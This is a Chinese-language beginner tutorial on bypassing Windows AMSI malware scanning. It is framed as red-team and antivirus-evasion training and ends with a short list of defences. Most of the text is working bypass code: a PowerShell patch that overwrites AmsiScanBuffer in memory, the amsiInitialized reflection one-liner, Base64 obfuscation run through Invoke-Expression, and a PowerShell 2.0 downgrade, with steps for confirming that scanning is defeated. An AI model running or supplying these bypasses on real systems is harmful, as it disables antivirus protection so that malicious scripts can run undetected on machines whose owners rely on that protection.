声明:本文仅用于教育和安全研究目的,任何未经授权的使用可能违法或违反道德规范。
什么是 AMSI?
AMSI(Antimalware Scan Interface)是 Windows 10 及以上版本引入的一个安全接口,允许杀毒软件(如 Windows Defender)实时扫描脚本和动态内容,以检测恶意代码。它主要针对以下内容:
- PowerShell 脚本:广泛用于自动化任务和攻击。
- VBScript 和 JScript:常用于浏览器或旧版脚本。
- Office VBA 宏:常见于恶意文档。
- 其他动态代码:如内存中执行的代码。
AMSI 的工作原理
- 当你运行一个 PowerShell 脚本或类似内容时,应用程序会将代码发送给 AMSI。
- AMSI 将代码转发给注册的杀毒软件(如 Windows Defender)进行扫描。
- 如果代码被标记为恶意,AMSI 会阻止其执行,并记录事件。
- 如果代码被认为安全,允许继续执行。
AMSI 的强大之处在于它能检测 无文件攻击(fileless malware),即不依赖文件的恶意代码,因此成为攻击者和安全研究者关注的重点。
为什么要绕过 AMSI?
在 红队测试(模拟攻击以评估系统安全性)或 恶意软件开发 中,攻击者希望绕过 AMSI 以:
- 执行恶意脚本(如下载器、后门、勒索软件)。
- 运行混淆后的代码,避开杀毒软件的检测。
- 在目标系统上实现持久化或提权。
对于学习免杀的初学者,掌握 AMSI 绕过技术可以帮助你:
- 理解杀毒软件的检测机制。
- 学习如何设计更隐蔽的攻击代码。
- 在合法的红队任务中发现系统漏洞。
常见的 AMSI 绕过技术
以下是几种常见的 AMSI 绕过方法,适合初学者理解和实践。警告:这些技术可能被杀毒软件快速检测到,因此在实际使用前需测试最新效果。
1. 内存补丁(Memory Patching)
原理:通过修改 AMSI 的动态链接库(amsi.dll
)在内存中的行为,使其无法正确扫描代码。
实现方式:
- 使用 PowerShell 或 C# 脚本定位
AmsiScanBuffer
函数(AMSI 的核心扫描函数)。 - 通过 Windows API(如
VirtualProtect
)更改内存保护,将AmsiScanBuffer
的关键指令替换为无害代码(如直接返回“安全”)。 - 结果是 AMSI 认为所有脚本都安全,允许执行。
示例代码(仅供学习):
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
}
"@
Add-Type $Win32
$amsi = [Win32]::LoadLibrary("amsi.dll")
$amsiScanBuffer = [Win32]::GetProcAddress($amsi, "AmsiScanBuffer")
$patch = [Byte[]] (0xC3) # RET 指令
$oldProtect = 0
[Win32]::VirtualProtect($amsiScanBuffer, [UInt32]1, 0x40, [Ref]$oldProtect)
$bytesWritten = 0
[Win32]::WriteProcessMemory([IntPtr]-1, $amsiScanBuffer, $patch, [UInt32]1, [Ref]$bytesWritten)
适合人群:对 PowerShell 和 Windows API 有一定了解的初学者。
难度:中等。
风险:需要管理员权限,且可能被 EDR(端点检测与响应)工具检测。
2. 脚本混淆(Obfuscation)
原理:通过对脚本进行编码或混淆,使其难以被 AMSI 或杀毒软件识别为恶意。
实现方式:
- 使用 Base64 编码 将脚本内容隐藏。
- 替换变量名、函数名,增加随机字符串。
- 使用加密技术(如 XOR 加密)动态解密脚本。
示例:
将简单的 PowerShell 脚本 Write-Host "Hello, Malicious Code!"
混淆为:
$code = [Convert]::FromBase64String("V3JpdGUtSG9zdCAiSGVsbG8sIE1hbGljaW91cyBDb2RlISIg")
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString($code))
适合人群:完全新手。
难度:低。
风险:简单的混淆可能被现代杀毒软件轻易破解,需结合其他技术。
3. 使用旧版本 PowerShell
原理:AMSI 仅在 PowerShell 3.0 及以上版本启用,因此使用 PowerShell 2.0 可以完全绕过 AMSI。
实现方式:
- 在命令行运行:
powershell -version 2
- 在 PowerShell 2.0 中执行你的脚本。
适合人群:新手。
难度:低。
风险:许多新系统默认禁用 PowerShell 2.0,或者管理员已通过组策略限制其使用。
4. 禁用 AMSI 初始化
原理:通过修改 PowerShell 的环境变量或配置文件,阻止 AMSI 加载。
实现方式:
- 设置
$AMSIInitialized
变量为false
:[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitialized','NonPublic,Static').SetValue($null, $false)
- 结果是 PowerShell 认为 AMSI 未初始化,跳过扫描。
适合人群:有基础 PowerShell 知识的初学者。
难度:中等。
风险:需要管理员权限,且可能被日志记录。
5. 反射加载(Reflection)
原理:通过 .NET 反射加载自定义的 AMSI 实现,替换原始的 amsi.dll
。
实现方式:
- 使用 C# 或 PowerShell 动态加载修改后的 AMSI 函数。
- 欺骗系统认为 AMSI 已完成扫描。
适合人群:有 .NET 和 C# 基础的进阶初学者。
难度:高。
风险:代码复杂,易被高级 EDR 检测。
如何测试 AMSI 绕过效果?
初学者可以通过以下步骤测试绕过技术是否有效:
-
准备测试环境:
- 使用虚拟机(如 VMware 或 VirtualBox)搭建 Windows 10/11 测试环境。
- 安装 Windows Defender 或其他杀毒软件。
- 确保 AMSI 启用(默认情况下已启用)。
-
使用测试脚本:
- 运行一个已知的恶意脚本(如 EICAR 测试字符串):
Write-Host "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
- 如果 AMSI 工作正常,脚本会被阻止。
- 运行一个已知的恶意脚本(如 EICAR 测试字符串):
-
应用绕过技术:
- 运行你的 AMSI 绕过代码(如内存补丁)。
- 再次运行测试脚本,检查是否成功执行。
-
检查日志:
- 查看 Windows 事件日志(Event Viewer -> Windows Logs -> PowerShell)是否有 AMSI 相关记录。
- 确保绕过未触发杀毒软件警报。
注意:始终在隔离的测试环境中操作,避免影响生产系统。
防御 AMSI 绕过的措施
作为一名学习免杀的初学者,了解如何防御 AMSI 绕过同样重要。这不仅能帮助你设计更隐蔽的攻击,还能让你在蓝队(防御方)工作中更高效。以下是一些防御建议:
- 启用 PowerShell 日志:在组策略中启用模块日志和脚本块日志,记录所有 PowerShell 活动。
- 限制 PowerShell 使用:通过 AppLocker 或组策略禁止非管理员运行 PowerShell。
- 保持系统更新:定期更新 Windows 和杀毒软件,修复已知的 AMSI 绕过漏洞。
- 使用 EDR 工具:部署端点检测与响应工具(如 CrowdStrike、Carbon Black)监控内存修改和异常行为。
- 应用白名单:通过 Windows Defender Application Control (WDAC) 限制未签名脚本的执行。